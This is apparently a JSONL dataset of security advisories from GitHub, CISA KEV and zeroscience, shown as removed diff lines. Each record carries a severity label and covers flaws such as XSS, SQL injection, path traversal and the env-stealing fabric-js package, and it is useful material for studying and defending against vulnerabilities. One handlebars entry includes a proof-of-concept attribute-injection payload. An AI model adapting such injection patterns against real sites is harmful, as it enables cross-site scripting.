TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "a4f78b4fea948ccc85ca", "text": "Privilege escalation in the Sulu Admin panel\n\n### Impact\n\nImpacted are only users which already have access to the admin UI. Over the API it was possible for them to give themselves permissions to areas which they did not already had. This issue was introduced in 2.0.0-RC1 with the new ProfileController putAction.\n\n### Patches\n\nThe versions have been patched in 2.2.18, 2.3.8 and 2.4.0.\n\n### Workarounds\n\nPatching the ProfileController of affected sulu versions yourself by overwriting it.\n\n### References\n\n_Are there any links users can visit to find out more?_\n\nCurrently not.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [sulu/sulu repo](https://github.com/sulu/sulu/issues)\n* Email us at [security@sulu.io](mailto:security@sulu.io)", "text_raw": "Privilege escalation in the Sulu Admin panel\n\n[Severity: HIGH]\n\n### Impact\n\nImpacted are only users which already have access to the admin UI. Over the API it was possible for them to give themselves permissions to areas which they did not already had. This issue was introduced in 2.0.0-RC1 with the new ProfileController putAction.\n\n### Patches\n\nThe versions have been patched in 2.2.18, 2.3.8 and 2.4.0.\n\n### Workarounds\n\nPatching the ProfileController of affected sulu versions yourself by overwriting it.\n\n### References\n\n_Are there any links users can visit to find out more?_\n\nCurrently not.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [sulu/sulu repo](https://github.com/sulu/sulu/issues)\n* Email us at [security@sulu.io](mailto:security@sulu.io)\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-12-15", "split": "train"}
-{"id": "52942224cad2220ca5bb", "text": "ForgeRock Access Management (AM) Core Server Remote Code Execution Vulnerability\n\nAffected: ForgeRock Access Management (AM)\n\nForgeRock Access Management (AM) Core Server allows an attacker who sends a specially crafted HTTP request to one of three endpoints (/ccversion/Version, /ccversion/Masthead, or /ccversion/ButtonFrame) to execute code in the context of the current user (unless ForgeRock AM is running as root user, which the vendor does not recommend).\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-502\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "ForgeRock Access Management (AM) Core Server Remote Code Execution Vulnerability\n\nAffected: ForgeRock Access Management (AM)\n\nForgeRock Access Management (AM) Core Server allows an attacker who sends a specially crafted HTTP request to one of three endpoints (/ccversion/Version, /ccversion/Masthead, or /ccversion/ButtonFrame) to execute code in the context of the current user (unless ForgeRock AM is running as root user, which the vendor does not recommend).\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-502\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "520d3a5817c503177248", "text": "Improperly Controlled Modification of Dynamically-Determined Object Attributes in express-mock-middleware\n\nexpress-mock-middleware through 0.0.6 is vulnerable to Prototype Pollution. Exported functions by the package can be tricked into adding or modifying properties of the `Object.prototype`. Exploitation of this vulnerability requires creation of a new directory where an attack code can be placed which will then be exported by `express-mock-middleware`. As such, this is considered to be a low risk.", "text_raw": "Improperly Controlled Modification of Dynamically-Determined Object Attributes in express-mock-middleware\n\n[Severity: MEDIUM]\n\nexpress-mock-middleware through 0.0.6 is vulnerable to Prototype Pollution. Exported functions by the package can be tricked into adding or modifying properties of the `Object.prototype`. Exploitation of this vulnerability requires creation of a new directory where an attack code can be placed which will then be exported by `express-mock-middleware`. As such, this is considered to be a low risk.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-12-09", "split": "train"}
-{"id": "d7796cb5e75f5a70b7e4", "text": "Marked vulnerable to XSS from data URIs\n\nmarked version 0.3.6 and earlier is vulnerable to an XSS attack in the data: URI parser.", "text_raw": "Marked vulnerable to XSS from data URIs\n\n[Severity: MEDIUM]\n\nmarked version 0.3.6 and earlier is vulnerable to an XSS attack in the data: URI parser.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-01-04", "split": "train"}
-{"id": "e3a91a72e7d264b523ae", "text": "Insecure Permissions in Gogs\n\nIn Gogs 0.11.91, MakeEmailPrimary in models/user_mail.go lacks a \"not the owner of the email\" check.", "text_raw": "Insecure Permissions in Gogs\n\n[Severity: MEDIUM]\n\nIn Gogs 0.11.91, MakeEmailPrimary in models/user_mail.go lacks a \"not the owner of the email\" check.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-18", "split": "train"}
-{"id": "8f297996ab4cea188ed6", "text": "SQL Injection in Apache SkyWalking\n\nOnly when using H2/MySQL/TiDB as Apache SkyWalking storage, there is a SQL injection vulnerability in the wildcard query cases.", "text_raw": "SQL Injection in Apache SkyWalking\n\n[Severity: CRITICAL]\n\nOnly when using H2/MySQL/TiDB as Apache SkyWalking storage, there is a SQL injection vulnerability in the wildcard query cases.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-05-07", "split": "train"}
-{"id": "0dbfc9ecb3204864fa6d", "text": "Netgear Wireless Router WNR500 Parameter Traversal Arbitrary File Access Exploit", "text_raw": "Netgear Wireless Router WNR500 Parameter Traversal Arbitrary File Access Exploit\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2014-11-21", "split": "train"}
-{"id": "f47aca0383e9ebdec1e1", "text": "SQL Injection in tribalsystems/zenario\n\nSQL Injection in the \"admin_boxes.ajax.php\" component of Tribal Systems Zenario CMS v8.8.52729 allows remote attackers to obtain sesnitive database information by injecting SQL commands into the \"cID\" parameter when creating a new HTML component.", "text_raw": "SQL Injection in tribalsystems/zenario\n\n[Severity: MEDIUM]\n\nSQL Injection in the \"admin_boxes.ajax.php\" component of Tribal Systems Zenario CMS v8.8.52729 allows remote attackers to obtain sesnitive database information by injecting SQL commands into the \"cID\" parameter when creating a new HTML component.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-08", "split": "train"}
-{"id": "52263fd4fbfbe6b36b5d", "text": "Cross-Site Scripting in handlebars\n\nVersions of `handlebars` prior to 4.0.0 are affected by a cross-site scripting vulnerability when attributes in handlebar templates are not quoted.\n\n## Proof of Concept\nTemplate:\n```<a href={{foo}}/>```\n\nInput:\n```{ 'foo' : 'test.com onload=alert(1)'}```\n\nRendered result:\n```<a href=test.com onload=alert(1)/>```\n\n## Recommendation\n\nUpdate to version 4.0.0 or later.\nAlternatively, ensure that all attributes in handlebars templates are encapsulated with quotes.", "text_raw": "Cross-Site Scripting in handlebars\n\n[Severity: MEDIUM]\n\nVersions of `handlebars` prior to 4.0.0 are affected by a cross-site scripting vulnerability when attributes in handlebar templates are not quoted.\n\n\n## Proof of Concept\nTemplate:\n```<a href={{foo}}/>```\n\nInput:\n```{ 'foo' : 'test.com onload=alert(1)'}```\n\nRendered result:\n```<a href=test.com onload=alert(1)/>```\n\n\n## Recommendation\n\nUpdate to version 4.0.0 or later.\nAlternatively, ensure that all attributes in handlebars templates are encapsulated with quotes.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-10-23", "split": "train"}
-{"id": "1439108d09edbc632060", "text": "Talkative IRC 0.4.4.16 Remote Stack Overflow Exploit (SEH)", "text_raw": "Talkative IRC 0.4.4.16 Remote Stack Overflow Exploit (SEH)\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2009-03-17", "split": "train"}
-{"id": "1cf4e9c9f24ac00bce57", "text": "Downloads Resources over HTTP in wasdk\n\nAffected versions of `wasdk` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `wasdk`.\n\n## Recommendation\n\nNo fix is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available.\n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit it are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "text_raw": "Downloads Resources over HTTP in wasdk\n\n[Severity: HIGH]\n\nAffected versions of `wasdk` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `wasdk`.\n\n\n## Recommendation\n\nNo fix is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available. \n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit it are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "27745a07af001e32d737", "text": "Adobe Audition 3.0 (build 7283) Session File Handling Buffer Overflow PoC", "text_raw": "Adobe Audition 3.0 (build 7283) Session File Handling Buffer Overflow PoC\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2011-05-12", "split": "train"}
-{"id": "82ff5381b2993a6eccda", "text": "Uncontrolled Resource Consumption in strapi\n\nA denial of service exists in strapi v3.0.0-beta.18.3 and earlier that can be abused in the admin console using admin rights can lead to arbitrary restart of the application.", "text_raw": "Uncontrolled Resource Consumption in strapi\n\n[Severity: MEDIUM]\n\nA denial of service exists in strapi v3.0.0-beta.18.3 and earlier that can be abused in the admin console using admin rights can lead to arbitrary restart of the application.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-12-10", "split": "train"}
-{"id": "725941b97621a8a86194", "text": "Path Traversal in total.js\n\nAffected versions of `total.js` are vulnerable to Path Traversal.  Due to insufficient input sanitization in URLs, attackers can access server files outside the `/public` folder by using relative paths.  \nThe files served are limited to these file types: `flac`, `jpg`, `jpeg`, `png`, `gif`, `ico`, `js`, `css`, `txt`, `xml`, `woff`, `woff2`, `otf`, `ttf`, `eot`, `svg`, `zip`, `rar`, `pdf`, `docx`, `xlsx`, `doc`, `xls`, `html`, `htm`, `appcache`, `manifest`, `map`, `ogv`, `ogg`, `mp4`, `mp3`, `webp`, `webm`, `swf`, `package`, `json`, `md`, `m4v`, `jsx`, `heif`, `heic`.\n\n## Recommendation\n\n- If you are using version 2.1.x, upgrade to 2.1.1 or later.\n- If you are using version 2.2.x, upgrade to 2.2.1 or later.\n- If you are using version 2.3.x, upgrade to 2.3.1 or later.\n- If you are using version 2.4.x, upgrade to 2.4.1 or later.\n- If you are using version 2.5.x, upgrade to 2.5.1 or later.\n- If you are using version 2.6.x, upgrade to 2.6.3 or later.\n- If you are using version 2.7.x, upgrade to 2.7.1 or later.\n- If you are using version 2.8.x, upgrade to 2.8.1 or later.\n- If you are using version 2.9.x, upgrade to 2.9.5 or later.\n- If you are using version 3.0.x, upgrade to 3.0.1 or later.\n- If you are using version 3.1.x, upgrade to 3.1.1 or later.\n- If you are using version 3.2.x, upgrade to 3.2.4 or later.", "text_raw": "Path Traversal in total.js\n\n[Severity: HIGH]\n\nAffected versions of `total.js` are vulnerable to Path Traversal.  Due to insufficient input sanitization in URLs, attackers can access server files outside the `/public` folder by using relative paths.  \nThe files served are limited to these file types: `flac`, `jpg`, `jpeg`, `png`, `gif`, `ico`, `js`, `css`, `txt`, `xml`, `woff`, `woff2`, `otf`, `ttf`, `eot`, `svg`, `zip`, `rar`, `pdf`, `docx`, `xlsx`, `doc`, `xls`, `html`, `htm`, `appcache`, `manifest`, `map`, `ogv`, `ogg`, `mp4`, `mp3`, `webp`, `webm`, `swf`, `package`, `json`, `md`, `m4v`, `jsx`, `heif`, `heic`.\n\n\n## Recommendation\n\n- If you are using version 2.1.x, upgrade to 2.1.1 or later.\n- If you are using version 2.2.x, upgrade to 2.2.1 or later.\n- If you are using version 2.3.x, upgrade to 2.3.1 or later.\n- If you are using version 2.4.x, upgrade to 2.4.1 or later.\n- If you are using version 2.5.x, upgrade to 2.5.1 or later.\n- If you are using version 2.6.x, upgrade to 2.6.3 or later.\n- If you are using version 2.7.x, upgrade to 2.7.1 or later.\n- If you are using version 2.8.x, upgrade to 2.8.1 or later.\n- If you are using version 2.9.x, upgrade to 2.9.5 or later.\n- If you are using version 3.0.x, upgrade to 3.0.1 or later.\n- If you are using version 3.1.x, upgrade to 3.1.1 or later.\n- If you are using version 3.2.x, upgrade to 3.2.4 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-20", "split": "train"}
-{"id": "6c59c1393074b7344e22", "text": "Vyper interfaces returning integer types less than 256 bits can be manipulated if uint256 is used\n\n# VVE-2020-0001\n\nEarlier today, we received a responsible disclosure of a potential issue from @montyly (security researcher at @trailofbits) for Vyper users who make assumptions about what values certain interface types can return.\n\n### Impact\nWe determined the issue to be mild and unlikely to be exploited, with an easy workaround while the correct resolution is in process. The issue stems from a number of things, which we will detail here.\n\n(1) The ABI Specification is under-defined such that function return type is not always reflected in how you use it\n\nThis means that a function which returns `uint8` under the hood actually returns a 32 byte integer, making it identical to a function that returns `uint256`. This allows users to read an interface that returns a `uint8` value to be stored into a `uint256` variable without any explicit casting or input validation.\n\n(2) Vyper doesn&#39;t have `uint8` types\n\nWhen Vyper was originally created, it only had one numeric type, but we added just enough types to be able to work with the majority of ERC interfaces that exist.\n\nUnfortunately, we never added `uint8`, because it&#39;s only majority usage was for `ERC20.decimals()` as the return type, which isn&#39;t reflected in the method ID. Because of (1), it didn&#39;t matter that we didn&#39;t have these types implemented because you could capture the return value as `uint256` and use it just fine.\n\n(3) `ERC20.decimals()` returns `uint8`\n\n`ERC20.decimal()` (which is an optional function) returns a `uint8` type. While it was never intentioned to be used directly within a smart contract (hence being optional), someone could easily make the decision to rely on it to perform important functionality within their Vyper smart contract. This might lead to a scenario where an unexpectedly large value (&gt; 255) returned by calling this function (which a malicious contract writer might write) would allow an attacker to manipulate or bypass certain logic depending on this value.\n\nIn summary, because of (1), it isn&#39;t necessary to have to cast the return value of a function that returns `uint8` to `uint256`, and because of (2) it isn&#39;t possible to have the type system protect against this type of error. This could lead to scenarios like (3) where this behavior can be exploited.\n\n### Patches\nWe are currently refactoring our typing system so we can implement all ABI-compliant integer types, but no currently patched version is available that gives users access to the `uint8` type.\n\n### Workarounds\nThere is an easy workaround where you should check that the value returned by an interface which specifies `uint8` should be checked to be within the bounds of a `uint8` integer. As an example:\n\n```python\n...\n# returns uint8, but we implicitly cast to uint256 without checking\ndecimals: uint256 = ERC20(_token).decimal()\n# FIX: Insert this line\nassert decimals &lt; 256\n...\n```\n\nDepending on how you use this value, it may not be necessary to insert this check.\n\n### References\n* [ABI Specification](https://solidity.readthedocs.io/en/latest/abi-spec.html)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Chat with us in [our gitter ](https://gitter.im/vyperlang/community)\n* Open an issue in [https://github.com/vyperlang/vyper](https://github.com/vyperlang/vyper)\n* Email us at [security@vyperlang.org](mailto:security@vyperlang.org)", "text_raw": "Vyper interfaces returning integer types less than 256 bits can be manipulated if uint256 is used\n\n[Severity: LOW]\n\n# VVE-2020-0001\n\nEarlier today, we received a responsible disclosure of a potential issue from @montyly (security researcher at @trailofbits) for Vyper users who make assumptions about what values certain interface types can return.\n\n### Impact\nWe determined the issue to be mild and unlikely to be exploited, with an easy workaround while the correct resolution is in process. The issue stems from a number of things, which we will detail here.\n\n(1) The ABI Specification is under-defined such that function return type is not always reflected in how you use it\n\nThis means that a function which returns `uint8` under the hood actually returns a 32 byte integer, making it identical to a function that returns `uint256`. This allows users to read an interface that returns a `uint8` value to be stored into a `uint256` variable without any explicit casting or input validation.\n\n(2) Vyper doesn&#39;t have `uint8` types\n\nWhen Vyper was originally created, it only had one numeric type, but we added just enough types to be able to work with the majority of ERC interfaces that exist.\n\nUnfortunately, we never added `uint8`, because it&#39;s only majority usage was for `ERC20.decimals()` as the return type, which isn&#39;t reflected in the method ID. Because of (1), it didn&#39;t matter that we didn&#39;t have these types implemented because you could capture the return value as `uint256` and use it just fine.\n\n(3) `ERC20.decimals()` returns `uint8`\n\n`ERC20.decimal()` (which is an optional function) returns a `uint8` type. While it was never intentioned to be used directly within a smart contract (hence being optional), someone could easily make the decision to rely on it to perform important functionality within their Vyper smart contract. This might lead to a scenario where an unexpectedly large value (&gt; 255) returned by calling this function (which a malicious contract writer might write) would allow an attacker to manipulate or bypass certain logic depending on this value.\n\nIn summary, because of (1), it isn&#39;t necessary to have to cast the return value of a function that returns `uint8` to `uint256`, and because of (2) it isn&#39;t possible to have the type system protect against this type of error. This could lead to scenarios like (3) where this behavior can be exploited.\n\n### Patches\nWe are currently refactoring our typing system so we can implement all ABI-compliant integer types, but no currently patched version is available that gives users access to the `uint8` type.\n\n### Workarounds\nThere is an easy workaround where you should check that the value returned by an interface which specifies `uint8` should be checked to be within the bounds of a `uint8` integer. As an example:\n\n```python\n...\n# returns uint8, but we implicitly cast to uint256 without checking\ndecimals: uint256 = ERC20(_token).decimal()\n# FIX: Insert this line\nassert decimals &lt; 256\n...\n```\n\nDepending on how you use this value, it may not be necessary to insert this check.\n\n### References\n* [ABI Specification](https://solidity.readthedocs.io/en/latest/abi-spec.html)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Chat with us in [our gitter ](https://gitter.im/vyperlang/community)\n* Open an issue in [https://github.com/vyperlang/vyper](https://github.com/vyperlang/vyper)\n* Email us at [security@vyperlang.org](mailto:security@vyperlang.org)", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2020-03-25", "split": "train"}
-{"id": "4f6532c155832c56db1e", "text": "Memory Exposure in concat-stream\n\nVersions of `concat-stream` before 1.5.2 are vulnerable to memory exposure if userp provided input is passed into `write()`\n\nVersions <1.3.0 are not affected due to not using unguarded Buffer constructor.\n\n## Recommendation\n\nUpdate to version 1.5.2, 1.4.11, 1.3.2 or later.\n\nIf you are unable to update make sure user provided input into the `write()` function is not a number.", "text_raw": "Memory Exposure in concat-stream\n\n[Severity: MEDIUM]\n\nVersions of `concat-stream` before 1.5.2 are vulnerable to memory exposure if userp provided input is passed into `write()`\n\nVersions <1.3.0 are not affected due to not using unguarded Buffer constructor.\n\n\n\n## Recommendation\n\nUpdate to version 1.5.2, 1.4.11, 1.3.2 or later.\n\nIf you are unable to update make sure user provided input into the `write()` function is not a number.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-06-03", "split": "train"}
-{"id": "786922c881fd7ccdaa02", "text": "Cross-site scripting in Plone\n\nPlone through 5.2.4 allows XSS via a full name that is mishandled during rendering of the ownership tab of a content item.", "text_raw": "Cross-site scripting in Plone\n\n[Severity: MEDIUM]\n\nPlone through 5.2.4 allows XSS via a full name that is mishandled during rendering of the ownership tab of a content item.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-08", "split": "train"}
-{"id": "3fcea8511fae85b9427e", "text": "Soundness issue in raw-cpuid\n\nVendorInfo::as_string(), SoCVendorBrand::as_string(), and ExtendedFunctionInfo::processor_brand_string() construct byte slices using std::slice::from_raw_parts(), with data coming from #[repr(Rust)] structs. This is always undefined behavior.\nThis flaw has been fixed in v9.0.0, by making the relevant structs #[repr(C)].", "text_raw": "Soundness issue in raw-cpuid\n\n[Severity: HIGH]\n\nVendorInfo::as_string(), SoCVendorBrand::as_string(), and ExtendedFunctionInfo::processor_brand_string() construct byte slices using std::slice::from_raw_parts(), with data coming from #[repr(Rust)] structs. This is always undefined behavior.\nThis flaw has been fixed in v9.0.0, by making the relevant structs #[repr(C)].", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "1b36ad917dde0a57fd4c", "text": "feedparser denial of service vulnerability\n\nUniversal Feed Parser (aka feedparser or python-feedparser) before 5.1.2 allows remote attackers to cause a denial of service (memory consumption) via a crafted XML ENTITY declaration in a non-ASCII encoded document.", "text_raw": "feedparser denial of service vulnerability\n\n[Severity: HIGH]\n\nUniversal Feed Parser (aka feedparser or python-feedparser) before 5.1.2 allows remote attackers to cause a denial of service (memory consumption) via a crafted XML ENTITY declaration in a non-ASCII encoded document.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-24", "split": "train"}
-{"id": "58993087e7cb7772fc52", "text": "rendertron can remotely shut down Chrome instance\n\nRendertron 1.0.0 includes an `_ah/stop` route to shutdown the Chrome instance responsible for serving render requests to all users. Visiting this route with a GET request allows any unauthorized remote attacker to disable the core service of the application.", "text_raw": "rendertron can remotely shut down Chrome instance\n\n[Severity: HIGH]\n\nRendertron 1.0.0 includes an `_ah/stop` route to shutdown the Chrome instance responsible for serving render requests to all users. Visiting this route with a GET request allows any unauthorized remote attacker to disable the core service of the application.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-01-04", "split": "train"}
-{"id": "174fa4c4ee9b00d3cfbc", "text": "wixtoolset downloads Resources over HTTP\n\nAffected versions of `wixtoolset` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `wixtoolset`.\n\n## Recommendation\n\nNo patch is currently available for this vulnerability, and the package has not seen an update since 2015.\n\nThe best mitigation is currently to avoid using this package, using a different package if available.\n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "text_raw": "wixtoolset downloads Resources over HTTP\n\n[Severity: HIGH]\n\nAffected versions of `wixtoolset` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `wixtoolset`.\n\n\n## Recommendation\n\nNo patch is currently available for this vulnerability, and the package has not seen an update since 2015.\n\nThe best mitigation is currently to avoid using this package, using a different package if available. \n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "7705452c143b7e50d0a9", "text": "Pivotal Spring AMQP, 1.x versions prior to 1.7.10 and 2.x versions prior to 2.0.6, expose a man-in-the-middle vulnerability due to lack of hostname validation. A malicious user that has the ability to intercept traffic would be able to view data in transit.", "text_raw": "Moderate severity vulnerability that affects com.rabbitmq:amqp-client and org.springframework.amqp:spring-amqp\n\n[Severity: MEDIUM]\n\nPivotal Spring AMQP, 1.x versions prior to 1.7.10 and 2.x versions prior to 2.0.6, expose a man-in-the-middle vulnerability due to lack of hostname validation. A malicious user that has the ability to intercept traffic would be able to view data in transit.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-10-18", "split": "train"}
-{"id": "6d1f6420128c89709c3e", "text": "fabric-js is malware\n\nThe `fabric-js` package is a piece of malware that steals environment variables and sends them to attacker controlled locations.\n\nAll versions have been unpublished from the npm registry.\n\n## Recommendation\n\nAs this package is malware, if you find it installed in your environment, the real security concern is determining how it got there.\n\nIf you have found this installed in your environment, you should:\n1. Delete the package\n2. Clear your npm cache\n3. Ensure it is not present in any other package.json files on your system\n4. Regenerate your registry credentials, tokens, and any other sensitive credentials that may have been present in your environment variables.\n\nAdditionally, any service which may have been exposed via credentials in your environment variables, such as a database, should be reviewed for indicators of compromise as well.", "text_raw": "fabric-js is malware\n\n[Severity: HIGH]\n\nThe `fabric-js` package is a piece of malware that steals environment variables and sends them to attacker controlled locations. \n\nAll versions have been unpublished from the npm registry.\n\n\n## Recommendation\n\nAs this package is malware, if you find it installed in your environment, the real security concern is determining how it got there. \n\nIf you have found this installed in your environment, you should:\n1. Delete the package\n2. Clear your npm cache\n3. Ensure it is not present in any other package.json files on your system\n4. Regenerate your registry credentials, tokens, and any other sensitive credentials that may have been present in your environment variables. \n\nAdditionally, any service which may have been exposed via credentials in your environment variables, such as a database, should be reviewed for indicators of compromise as well.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-23", "split": "train"}
-{"id": "4f74c4bef52058d2a9f8", "text": "Improper Input Validation in Centreon Web\n\nCentreon Web 19.04.4 allows Remote Code Execution by an administrator who can modify Macro Expression location settings.", "text_raw": "Improper Input Validation in Centreon Web\n\n[Severity: HIGH]\n\nCentreon Web 19.04.4 allows Remote Code Execution by an administrator who can modify Macro Expression location settings.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-07-28", "split": "train"}
-{"id": "b159d70f4928b05f344e", "text": "Realtyna RPL 8.9.2 Joomla Extension Persistent XSS And CSRF Vulnerabilities", "text_raw": "Realtyna RPL 8.9.2 Joomla Extension Persistent XSS And CSRF Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2015-10-22", "split": "train"}
-{"id": "f6c04a3e3ab1520fe5c6", "text": "Improper Input Validation in Twisted\n\nIn Twisted Web before 20.3.0, there was an HTTP request splitting vulnerability. When presented with two content-length headers, it ignored the first header. When the second content-length value was set to zero, the request body was interpreted as a pipelined request.", "text_raw": "Improper Input Validation in Twisted\n\n[Severity: CRITICAL]\n\nIn Twisted Web before 20.3.0, there was an HTTP request splitting vulnerability. When presented with two content-length headers, it ignored the first header. When the second content-length value was set to zero, the request body was interpreted as a pipelined request.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-03-31", "split": "train"}
-{"id": "47a020804df5199a8b5b", "text": "Out-of-bounds write\n\nA remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge, aka 'Chakra Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2019-1217, CVE-2019-1237, CVE-2019-1298, CVE-2019-1300.", "text_raw": "Out-of-bounds write\n\n[Severity: HIGH]\n\nA remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge, aka 'Chakra Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2019-1217, CVE-2019-1237, CVE-2019-1298, CVE-2019-1300.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-03-29", "split": "train"}
-{"id": "a0ddb5a449ed9c436ed8", "text": "Missing Origin Validation in webpack-dev-server\n\nVersions of `webpack-dev-server` before 3.1.10 are missing origin validation on the websocket server. This vulnerability allows a remote attacker to steal a developer's source code because the origin of requests to the websocket server that is used for Hot Module Replacement (HMR) are not validated.\n\n## Recommendation\nFor `webpack-dev-server` update to version 3.1.11 or later.", "text_raw": "Missing Origin Validation in webpack-dev-server\n\n[Severity: HIGH]\n\nVersions of `webpack-dev-server` before 3.1.10 are missing origin validation on the websocket server. This vulnerability allows a remote attacker to steal a developer's source code because the origin of requests to the websocket server that is used for Hot Module Replacement (HMR) are not validated.\n\n\n## Recommendation\nFor `webpack-dev-server` update to version 3.1.11 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-01-04", "split": "train"}
-{"id": "ce7f258d9fc07f7dca87", "text": "Open redirect in Jupyter Server\n\n### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nOpen redirect vulnerability - a maliciously crafted link to a jupyter server could redirect the browser to a different website.\n\nAll jupyter servers are technically affected, however, these maliciously crafted links can only be reasonably made for known jupyter server hosts. A link to your jupyter server may *appear* safe, but ultimately redirect to a spoofed server on the public internet.\n\nThis originated in jupyter/notebook: https://github.com/jupyter/notebook/security/advisories/GHSA-c7vm-f5p4-8fqh\n\n### Patches\n\n_Has the problem been patched? What versions should users upgrade to?_\n\njupyter_server 1.0.6\n\n### References\n\n[OWASP page on open redirects](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html)\n\n### For more information\n\nIf you have any questions or comments about this advisory, or vulnerabilities to report, please email our security list [security@ipython.org](mailto:security@ipython.org).\n\nCredit: zhuonan li of Alibaba Application Security Team", "text_raw": "Open redirect in Jupyter Server\n\n[Severity: MEDIUM]\n\n### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nOpen redirect vulnerability - a maliciously crafted link to a jupyter server could redirect the browser to a different website.\n\nAll jupyter servers are technically affected, however, these maliciously crafted links can only be reasonably made for known jupyter server hosts. A link to your jupyter server may *appear* safe, but ultimately redirect to a spoofed server on the public internet.\n\nThis originated in jupyter/notebook: https://github.com/jupyter/notebook/security/advisories/GHSA-c7vm-f5p4-8fqh\n\n### Patches\n\n_Has the problem been patched? What versions should users upgrade to?_\n\njupyter_server 1.0.6\n\n### References\n\n[OWASP page on open redirects](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html)\n\n### For more information\n\nIf you have any questions or comments about this advisory, or vulnerabilities to report, please email our security list [security@ipython.org](mailto:security@ipython.org).\n\nCredit: zhuonan li of Alibaba Application Security Team", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-11-24", "split": "train"}
